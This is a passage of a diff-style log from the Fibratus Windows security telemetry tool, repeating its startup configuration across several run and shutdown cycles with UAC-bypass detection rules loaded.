+time=2025-11-26T17:44:53+01:00 level=info msg=bootstrapping with pid 17572. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:44:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 use-template=>true enabled=>false content-type=>text/html to=>[]] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ enabled=>false sound=>true quiet-mode=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-pe=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 stack-enrichment=>true enable-registry=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] buffer-size=>512 enable-image=>true min-buffers=>16 enable-vamap=>true enable-audit-api=>true enable-thread=>true enable-mem=>false flush-interval=>1s enable-handle=>false enable-dns=>false enable-threadpool=>false enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-size=>100 level=>info formatter=>text log-stdout=>true max-backups=>15] + output ......................... [ amqp=>[ routing-key=>fibratus exchange=>fibratus url=>amqp://localhost:5672 tls-insecure-skip-verify=>false delivery-mode=>transient timeout=>5s vhost=>/ exchange-type=>topic enabled=>false durable=>false passive=>false] http=>[ tls-insecure-skip-verify=>false enabled=>false endpoints=>[] timeout=>5s enable-gzip=>false serializer=>json method=>POST] eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s bulk-workers=>1 enabled=>false sniff=>false trace-log=>false servers=>[http://127.0.0.1:9200] index-name=>fibratus flush-period=>1s template-name=>fibratus gzip-compression=>false healthcheck-timeout=>5s healthcheck=>true]] + pe ............................. [ read-resources=>false read-symbols=>false read-sections=>false excluded-images=>[svchost.exe] enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false] remove=>[ params=>[] enabled=>false]] + yara ........................... [ rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false skip-files=>false skip-mmaps=>false skip-allocs=>false excluded-procs=>[] fastscan=>true enabled=>false excluded-files=>[] scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:44:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:44:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:45:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:45:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:45:05+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:45:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:45:30+01:00 level=info msg=bootstrapping with pid 9700. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:45:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ enabled=>false content-type=>text/html port=>25 to=>[] use-template=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-envs=>true serialize-threads=>false] + eventsource .................... [ enable-mem=>false buffer-size=>512 enable-handle=>false enable-thread=>true enable-net=>true stack-enrichment=>true flush-interval=>1s enable-registry=>true enable-fileio=>true enable-vamap=>true max-buffers=>36 min-buffers=>16 enable-image=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-audit-api=>true enable-threadpool=>false enable-dns=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ level=>info log-stdout=>true max-backups=>15 formatter=>text max-size=>100 max-age=>0] + output ......................... [ amqp=>[ delivery-mode=>transient routing-key=>fibratus durable=>false tls-insecure-skip-verify=>false url=>amqp://localhost:5672 timeout=>5s vhost=>/ enabled=>false passive=>false exchange-type=>topic exchange=>fibratus] eventlog=>[ level=>info enabled=>false] elasticsearch=>[ gzip-compression=>false template-name=>fibratus servers=>[http://127.0.0.1:9200] index-name=>fibratus timeout=>5s sniff=>false healthcheck=>true trace-log=>false healthcheck-interval=>10s bulk-workers=>1 healthcheck-timeout=>5s flush-period=>1s enabled=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty] http=>[ enable-gzip=>false endpoints=>[] serializer=>json enabled=>false tls-insecure-skip-verify=>false method=>POST timeout=>5s]] + pe ............................. [ excluded-images=>[svchost.exe] enabled=>false read-sections=>false read-symbols=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] fastscan=>true excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-registry=>false enabled=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:45:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:45:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:50:17+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:50:17+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:50:18+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:54:15+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:54:15+01:00 level=info msg=bootstrapping with pid 6964. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:54:15+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ use-template=>true enabled=>false content-type=>text/html port=>25 to=>[]] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false] + eventsource .................... [ min-buffers=>16 enable-mem=>false stack-enrichment=>true enable-vamap=>true buffer-size=>512 blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-handle=>false enable-threadpool=>false enable-image=>true enable-thread=>true enable-registry=>true flush-interval=>1s enable-audit-api=>true enable-dns=>false enable-net=>true max-buffers=>36 enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 level=>info formatter=>text log-stdout=>true max-size=>100 max-age=>0] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false enabled=>false enable-gzip=>false serializer=>json method=>POST timeout=>5s] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty enabled=>true] elasticsearch=>[ timeout=>5s sniff=>false index-name=>fibratus healthcheck-interval=>10s template-name=>fibratus healthcheck-timeout=>5s enabled=>false servers=>[http://127.0.0.1:9200] healthcheck=>true trace-log=>false flush-period=>1s gzip-compression=>false bulk-workers=>1] amqp=>[ tls-insecure-skip-verify=>false passive=>false timeout=>5s delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus exchange-type=>topic url=>amqp://localhost:5672 exchange=>fibratus vhost=>/]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-sections=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ params=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] fastscan=>true skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s skip-registry=>false enabled=>false skip-allocs=>false skip-files=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:54:16+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:54:19+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:54:43+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:54:43+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:54:44+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:54:53+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:54:53+01:00 level=info msg=bootstrapping with pid 2876. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:54:53+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false enabled=>false sound=>true] slack=>[ enabled=>false] mail=>[ to=>[] port=>25 use-template=>true content-type=>text/html enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-envs=>true serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-pe=>false] + eventsource .................... [ enable-registry=>true enable-vamap=>true enable-handle=>false buffer-size=>512 flush-interval=>1s enable-thread=>true enable-threadpool=>false enable-dns=>false enable-audit-api=>true min-buffers=>16 enable-fileio=>true enable-image=>true stack-enrichment=>true enable-mem=>false enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] max-buffers=>36] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-age=>0 max-backups=>15 log-stdout=>true formatter=>text max-size=>100] + output ......................... [ http=>[ serializer=>json enabled=>false tls-insecure-skip-verify=>false enable-gzip=>false endpoints=>[] method=>POST timeout=>5s] elasticsearch=>[ sniff=>false index-name=>fibratus healthcheck=>true bulk-workers=>1 servers=>[http://127.0.0.1:9200] enabled=>false timeout=>5s flush-period=>1s gzip-compression=>false healthcheck-interval=>10s trace-log=>false healthcheck-timeout=>5s template-name=>fibratus] amqp=>[ vhost=>/ delivery-mode=>transient exchange-type=>topic durable=>false enabled=>false routing-key=>fibratus passive=>false url=>amqp://localhost:5672 exchange=>fibratus timeout=>5s tls-insecure-skip-verify=>false] console=>[ format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-sections=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] tags=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-allocs=>false skip-files=>false fastscan=>true skip-mmaps=>false skip-registry=>false scan-timeout=>10s excluded-files=>[] enabled=>false excluded-procs=>[]] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:54:53+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:54:56+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:56:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:56:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:56:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:56:35+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T17:56:35+01:00 level=info msg=bootstrapping with pid 14160. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T17:56:36+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ verbose=>true enabled=>true] mail=>[ enabled=>false port=>25 use-template=>true to=>[] content-type=>text/html] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-pe=>false serialize-handles=>false serialize-threads=>false serialize-images=>false serialize-envs=>true] + eventsource .................... [ enable-net=>true enable-threadpool=>false enable-thread=>true enable-audit-api=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] max-buffers=>36 min-buffers=>16 enable-image=>true enable-dns=>false buffer-size=>512 enable-vamap=>true enable-handle=>false flush-interval=>1s stack-enrichment=>true enable-mem=>false enable-registry=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] from-urls=>[] enabled=>true] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ formatter=>text max-age=>0 max-size=>100 max-backups=>15 log-stdout=>true level=>info] + output ......................... [ elasticsearch=>[ sniff=>false trace-log=>false healthcheck-timeout=>5s flush-period=>1s gzip-compression=>false index-name=>fibratus template-name=>fibratus timeout=>5s servers=>[http://127.0.0.1:9200] healthcheck=>true enabled=>false bulk-workers=>1 healthcheck-interval=>10s] amqp=>[ delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus passive=>false routing-key=>fibratus url=>amqp://localhost:5672 vhost=>/ exchange-type=>topic durable=>false timeout=>5s enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] eventlog=>[ level=>info enabled=>false] http=>[ tls-insecure-skip-verify=>false enabled=>false timeout=>5s endpoints=>[] serializer=>json method=>POST enable-gzip=>false]] + pe ............................. [ enabled=>false read-resources=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ skip-allocs=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-mmaps=>false excluded-files=>[] skip-registry=>false scan-timeout=>10s excluded-procs=>[] enabled=>false skip-files=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-26T17:56:36+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:56:39+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T17:58:32+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T17:58:32+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T17:58:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:07:13+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T18:07:13+01:00 level=info msg=bootstrapping with pid 9420. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T18:07:13+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ enabled=>false use-template=>true port=>25 to=>[] content-type=>text/html] systray=>[ quiet-mode=>false sound=>true enabled=>false] slack=>[ enabled=>false]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-threads=>false serialize-images=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ enable-thread=>true enable-image=>true enable-net=>true enable-mem=>false enable-audit-api=>true flush-interval=>1s enable-fileio=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] stack-enrichment=>true enable-registry=>true enable-handle=>false buffer-size=>512 enable-dns=>false max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-vamap=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-size=>100 max-backups=>15 log-stdout=>true max-age=>0 formatter=>text] + output ......................... [ eventlog=>[ level=>info enabled=>false] elasticsearch=>[ index-name=>fibratus timeout=>5s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] template-name=>fibratus flush-period=>1s sniff=>false bulk-workers=>1 gzip-compression=>false healthcheck-interval=>10s trace-log=>false healthcheck=>true enabled=>false] http=>[ enabled=>false method=>POST tls-insecure-skip-verify=>false endpoints=>[] timeout=>5s serializer=>json enable-gzip=>false] amqp=>[ durable=>false passive=>false vhost=>/ url=>amqp://localhost:5672 timeout=>5s exchange-type=>topic delivery-mode=>transient exchange=>fibratus routing-key=>fibratus enabled=>false tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + format=>pretty]] + pe ............................. [ enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ skip-registry=>false fastscan=>true enabled=>false excluded-files=>[] skip-mmaps=>false scan-timeout=>10s rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] skip-files=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T18:07:14+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:07:16+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:14:00+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T18:14:00+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:14:01+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:14:30+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T18:14:30+01:00 level=info msg=bootstrapping with pid 18836. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T18:14:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ content-type=>text/html use-template=>true enabled=>false port=>25 to=>[]] systray=>[ sound=>true quiet-mode=>false enabled=>false] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>true enable-direct-syscall=>true] + event .......................... [ serialize-handles=>false serialize-pe=>false serialize-images=>false serialize-threads=>false serialize-envs=>true] + eventsource .................... [ max-buffers=>36 enable-mem=>false stack-enrichment=>true buffer-size=>512 min-buffers=>16 enable-handle=>false enable-threadpool=>false enable-dns=>false enable-image=>true enable-registry=>true enable-fileio=>true flush-interval=>1s enable-audit-api=>true enable-vamap=>true enable-net=>true blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true from-urls=>[]] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true level=>info max-size=>100 max-age=>0] + output ......................... [ eventlog=>[ enabled=>false level=>info] console=>[ format=>pretty enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} +] http=>[ tls-insecure-skip-verify=>false serializer=>json endpoints=>[] timeout=>5s enable-gzip=>false method=>POST enabled=>false] amqp=>[ timeout=>5s routing-key=>fibratus enabled=>false delivery-mode=>transient exchange=>fibratus tls-insecure-skip-verify=>false durable=>false passive=>false exchange-type=>topic vhost=>/ url=>amqp://localhost:5672] elasticsearch=>[ gzip-compression=>false template-name=>fibratus trace-log=>false flush-period=>1s index-name=>fibratus bulk-workers=>1 healthcheck-interval=>10s healthcheck=>true enabled=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false timeout=>5s]] + pe ............................. [ read-sections=>false read-symbols=>false excluded-images=>[svchost.exe] enabled=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] tags=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false skip-mmaps=>false skip-files=>false skip-registry=>false fastscan=>true rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-files=>[] excluded-procs=>[] scan-timeout=>10s skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-26T18:14:31+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:14:33+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-11-26T18:18:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-26T18:18:49+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:18:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-11-26T18:54:02+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-26T18:54:02+01:00 level=info msg=bootstrapping with pid 15440. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-26T18:54:02+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] mail=>[ enabled=>false content-type=>text/html to=>[] use-template=>true port=>25] systray=>[ enabled=>false quiet-mode=>false sound=>true] eventlog=>[ enabled=>true verbose=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-threads=>false serialize-handles=>false serialize-images=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ flush-interval=>1s enable-thread=>true max-buffers=>36 enable-image=>true buffer-size=>512 enable-threadpool=>false stack-enrichment=>true enable-fileio=>true enable-audit-api=>true min-buffers=>16 enable-dns=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-mem=>false enable-net=>true enable-vamap=>true enable-registry=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml] enabled=>true] match-all=>true macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 formatter=>text log-stdout=>true max-size=>100 max-age=>0 level=>info] + output ......................... [ elasticsearch=>[ enabled=>false healthcheck-timeout=>5s trace-log=>false index-name=>fibratus sniff=>false 